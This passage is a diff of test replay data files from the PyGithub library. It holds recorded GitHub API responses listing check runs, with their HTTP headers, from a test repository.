{"total_count":8,"check_runs":[{"id":1278952206,"node_id":"MDg6Q2hlY2tSdW4xMjc4OTUyMjA2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1278952206","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T04:22:04Z","completed_at":"2020-10-20T04:22:04Z","output":{"title":"Testing","summary":"This is a test for output dictionary.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206/annotations"},"name":"Testing","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1279259090,"node_id":"MDg6Q2hlY2tSdW4xMjc5MjU5MDkw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"49","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1279259090","details_url":"https://www.example-url.com","status":"completed","conclusion":"success","started_at":"2020-10-20T01:10:20Z","completed_at":"2020-10-20T02:20:30Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090/annotations"},"name":"update_all_params","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1280450752,"node_id":"MDg6Q2hlY2tSdW4xMjgwNDUwNzUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280450752","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280450752","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T16:04:20Z","completed_at":"2020-10-20T10:44:21Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 3 warnings, and 1 notices.","text":null,"annotations_count":3,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280450752/annotations"},"name":"mighty_readme","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1280914700,"node_id":"MDg6Q2hlY2tSdW4xMjgwOTE0NzAw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"102","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280914700","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:34:15Z","completed_at":"2020-10-20T12:31:28Z","output":{"title":"Check run for testing list of annotations","summary":"This is test to get the list of annotations.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700/annotations"},"name":"annotations","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296027873,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI3ODcz","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296027873","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:30:29Z","completed_at":"2020-10-20T11:30:50Z","output":{"title":"Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":"You may have some misspelled words on lines 2 and 4.","annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873/annotations"},"name":"completed_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296028076,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI4MDc2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"50","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296028076","details_url":"https://www.example.com","status":"completed","conclusion":"success","started_at":"2020-09-04T01:14:52Z","completed_at":"2020-10-23T03:05:06Z","output":{"title":"PyGithub Check Run Test","summary":"Test summary","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076/annotations"},"name":"basic_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296029378,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5Mzc4","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"101","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029378","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"failure","started_at":"2020-10-20T10:14:51Z","completed_at":"2020-10-23T03:05:28Z","output":{"title":"Check run for testing failure","summary":"There is 1 whitespace error.","text":"You may have a whitespace error in the file 'test.py'","annotations_count":1,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378/annotations"},"name":"fail_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296029552,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5NTUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"100","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029552","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T14:24:31Z","completed_at":"2020-10-23T03:05:31Z","output":{"title":"Check run for testing edit method","summary":"This is the summary of editing check run as completed.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552/annotations"},"name":"edit_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]}]} - diff --git a/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByCheckName.txt b/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByCheckName.txt index c2c69511c2..657622ca70 100644 --- a/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByCheckName.txt +++ b/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByCheckName.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Fri, 27 Nov 2020 18:35:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"5704d63e4d53f67dabee3f79e6a77748afc2e412f1da4b0b1ffdc7008db82256"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1606505666'), ('X-RateLimit-Used', '14'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0CA:1863:26FF7A:325AB0:5FC146D8')] {"total_count":1,"check_runs":[{"id":1278952206,"node_id":"MDg6Q2hlY2tSdW4xMjc4OTUyMjA2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1278952206","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T04:22:04Z","completed_at":"2020-10-20T04:22:04Z","output":{"title":"Testing","summary":"This is a test for output dictionary.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206/annotations"},"name":"Testing","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]}]} - diff --git a/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByFilter.txt b/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByFilter.txt index 24d73365f3..03518e8897 100644 --- a/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByFilter.txt +++ b/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByFilter.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Fri, 27 Nov 2020 18:35:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"c93f048e21359179fc4bd4b217070b1283540720beb94c0f1a627eabbef38d67"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1606505666'), ('X-RateLimit-Used', '28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0DE:231D:29E835:35BA30:5FC146F1')] {"total_count":8,"check_runs":[{"id":1278952206,"node_id":"MDg6Q2hlY2tSdW4xMjc4OTUyMjA2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1278952206","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T04:22:04Z","completed_at":"2020-10-20T04:22:04Z","output":{"title":"Testing","summary":"This is a test for output dictionary.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206/annotations"},"name":"Testing","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1279259090,"node_id":"MDg6Q2hlY2tSdW4xMjc5MjU5MDkw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"49","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1279259090","details_url":"https://www.example-url.com","status":"completed","conclusion":"success","started_at":"2020-10-20T01:10:20Z","completed_at":"2020-10-20T02:20:30Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090/annotations"},"name":"update_all_params","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1280450752,"node_id":"MDg6Q2hlY2tSdW4xMjgwNDUwNzUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280450752","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280450752","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T16:04:20Z","completed_at":"2020-10-20T10:44:21Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 3 warnings, and 1 notices.","text":null,"annotations_count":3,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280450752/annotations"},"name":"mighty_readme","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1280914700,"node_id":"MDg6Q2hlY2tSdW4xMjgwOTE0NzAw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"102","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280914700","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:34:15Z","completed_at":"2020-10-20T12:31:28Z","output":{"title":"Check run for testing list of annotations","summary":"This is test to get 